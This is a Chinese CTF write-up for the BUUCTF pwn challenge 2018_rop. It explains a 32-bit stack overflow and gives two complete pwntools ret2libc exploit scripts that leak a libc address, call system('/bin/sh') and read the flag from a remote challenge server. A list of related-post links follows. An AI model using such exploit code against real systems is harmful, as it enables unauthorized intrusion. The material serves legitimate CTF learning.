先用checksec检查一下,只开了NX,能用栈溢出。

IDA反编译一下,里面也很简单,就调用了一个be_nice_to_peoplevulnerable_function两个函数。

一次查看一下,be_nice_to_people里面调用了getegid库函数,
vulnerable_function函数里顶一个了个136字节的栈空间,但是read函数可以输入256个字节,可以栈溢出。


看一看真个文件的函数表,和字符串表,没有找到system之类的函数,也没有/bin/sh之类的字符串。有很长的栈溢出空间,可以使用ret2libc解决这道题。

ret2libc题的精髓在于我们要找到将某一个函数的got表进行输出,一定要用到一个输出函数,第一次rop链的输出围绕着构造输出函数的寄存器设置、栈内容设置展开。拿到got表的输出后,然后是找到库内可利用函数的地址,第二次的rop链围绕着获取shell展开。

此处,我们除了可以使用getegid查找库,也可以使用read或者write查找库。

使用LibcSearcher解题的exploit如下:

from pwn import *
from LibcSearcher import *
context.binary = './2018_rop'
elf = context.binary
# context.log_level = 'debug'io = remote('node4.buuoj.cn',28161)getegid_got = elf.got['getegid']
getegid_plt = elf.plt['getegid']
write = elf.sym['write']
main = elf.sym['main']payload = b'a'*(0x88+4)
payload += p32(write)
payload += p32(main)
payload += p32(1)
payload += p32(getegid_got)
payload += p32(4)io.sendline(payload)
re = io.recv(4)
getegid_addr = u32(re)
print(re)
print(hex(getegid_addr))
libc = LibcSearcher('getegid',getegid_addr)
libc_base = getegid_addr - libc.dump('getegid')
system = libc_base + libc.dump('system')
bins = libc_base + libc.dump('str_bin_sh')
payload = b'a'*(0x88+4)
payload += p32(system)
payload += b'read'
payload += p32(bins)io.sendline(payload)io.sendline(b'cat flag')
io.interactive()

不知道由于什么原因,使用LibcSearcher没有跑通,出现了以下的错误:

换了一个网上找的exploit也是在这个语句有问题,之后查了查说是可能上游服务器崩溃了,具体原因不清楚。

之后是使用了手动查库然后一个个试出来的。
手动查库网址:https://libc.blukat.me/

手动查库的时候,自己第一遍先略过了后缀为64的库,结果都不对,才把剩下的都试了试,发现正确的库前面确实写着i386,以后手动查库的时候还是要准确一些,先找可能性最大的,不然真的浪费好多时间。

查库的exploit如下:

from pwn import *context.binary = './2018_rop'
elf = context.binary
# context.log_level = 'debug'io = remote('node4.buuoj.cn',28161)getegid_got = elf.got['getegid']
getegid_plt = elf.plt['getegid']
write = elf.sym['write']
main = elf.sym['main']payload = b'a'*(0x88+4)
payload += p32(write)
payload += p32(main)
payload += p32(1)
payload += p32(getegid_got)
payload += p32(4)io.sendline(payload)
re = io.recv(4)
getegid_addr = u32(re)
print(re)
print(hex(getegid_addr))
libc_base = getegid_addr - 0x0bebc0
system = libc_base + 0x03cd10
bins = libc_base + 0x17b8cf
payload = b'a' *(0×88+4) + p32(system) + p32(main) + p32(bins)io.sendline(payload)io.sendline(b'cat flag')
io.interactive()

【BUUCTFPWN】铁人三项(第五赛区)_2018_rop相关推荐

  1. [BUUCTF-pwn]——铁人三项(第五赛区)_2018_rop

    [BUUCTF-pwn]--铁人三项(第五赛区)_2018_rop 题目地址: https://buuoj.cn/challenges#铁人三项(第五赛区)_2018_rop 思路:没有sytem函数 ...

  2. [BUUOJ]铁人三项(第五赛区)_2018_rop

    铁人三项(第五赛区)_2018_rop checksec看到保护全关,进IDA分析就是很简单的一串逻辑,在第二个函数处看到了明显的溢出,但是题目里面没有直接提供shell相关操作,所以判断本题为ret ...

  3. BUUCTF 刷题 铁人三项(第五赛区)_2018_rop

    BUUCTF在线评测 直接ret2libc,很简单,但是write函数有三个参数要填充 exp: from pwn import * from LibcSearcher import *context ...

  4. BUUCTF(pwn)铁人三项(第五赛区)_2018_rop

    最基本的 rop; from pwn import* from LibcSearcher import* r=remote('node3.buuoj.cn',25292) elf=ELF('./2') ...

  5. BUUCTF 铁人三项(第五赛区)_2018_rop

    完全可以使用同一个脚本,只需要进行略微修改 比如修改IP 端口 以及查找Libc的模块 BUUCTF jarvisoj_level3_Red-Leaves的博客-CSDN博客

  6. “铁人三项”运营、技术、资本无短板,BW期货交易平台要逆天爆发?

    前段时间"交易即挖矿"的交易所大乱战,算是给币圈所有人都上了生动的一课:追热点的交易平台是如何快速"倒闭"的. 有网友统计,能数得上号的"倒闭&quo ...

  7. 信息安全 数据赛 铁人三项_信息安全铁人三项赛-赛事章程-信息安全铁人三项赛...

    赛事章程 竞赛总则 为贯彻<国务院关于大力推进大众创业万众创新若干政策措施的意见><国务院办公厅关于深化高等学校创新创业教育改革的实施意见>,落实中央网信办.国家发改委.教育部 ...

  8. 2018信息安全铁人三项第三赛区数据赛题解

    题目链接: https://pan.baidu.com/s/1b6bkW-J8vKASr8C2r9vsdQ 密码: nux4 题目描述 1.黑客攻击的第一个受害主机的网卡IP地址 2.黑客对URL的哪 ...

  9. 信息安全 数据赛 铁人三项_2018信息安全铁人三项数据赛题解

    前言 由于自己赛区的铁三比赛在最后一场,于是利用闲暇时间做了一下别的赛区的题目,这里给出5月5号比赛的数据赛做题记录 题目分享: 链接: https://pan.baidu.com/s/1b6bkW- ...

最新文章

  1. python自动化教程_Python自动化开发实战视频课程-全新基础篇_Python教程
  2. 如何看电脑安装了python-Python教程第1篇:查看电脑是否安装python
  3. 【天池赛事】零基础入门语义分割-地表建筑物识别 Task6:分割模型模型集成
  4. 电脑启动后黑屏只有鼠标_电脑加装固态硬盘后出现黑屏或蓝屏解决方案
  5. [蓝桥杯][2013年第四届真题]危险系数-dfs+图的遍历
  6. C++primer第十一章 关联容器 11.3关联容器操作 11.4 无序容器
  7. NeurIPS 2021 Spotlight | PCAN: 高效时序建模, 提升多目标追踪与分割性能
  8. PHP key() 函数
  9. idea 热部署时 tomcat处 没有update classes and resource 选项
  10. 解决问题--Maven,IDEA项目External Libraries下只有jdk没有maven依赖
  11. 小程序菜鸟的父子组件传值、父子组件方法调用的学习
  12. h5项目打包为app
  13. 国家级计算机实验教学师范中心,国家级实验教学示范中心
  14. Qt|表格代理的实现及使用代码qtableview和qtablewidget均适用
  15. 修改服务器域名解析,总结修改Godaddy解析服务器(DNS)三步骤
  16. PROFINET 链路简述
  17. 如何在unity上放置3d图片
  18. 力扣88 - 合并两个有序数组【归并排序思维】
  19. windows xp 系统CMD命令大全
  20. 给我一面国旗@微信官方什么梗 怎么给微信头像戴上国旗

热门文章

  1. 千万级常规saas系统架构精讲(干货)
  2. Linux常用命令---显示文件列表
  3. GitHub注册失败,卡在第一步
  4. echarts 5.0之map使用
  5. week_09_Bootstrap,后台登录,Json,Ajax,Git
  6. 同时查询多家快递物流,并分析出延误一天未更新的单号
  7. RNN基本原理及代码实战
  8. bugku cookies
  9. Hyperledger indy MacOS indy-node环境搭建(VirtualBox 版本)
  10. 43个不可不知的健康常识,终生受益!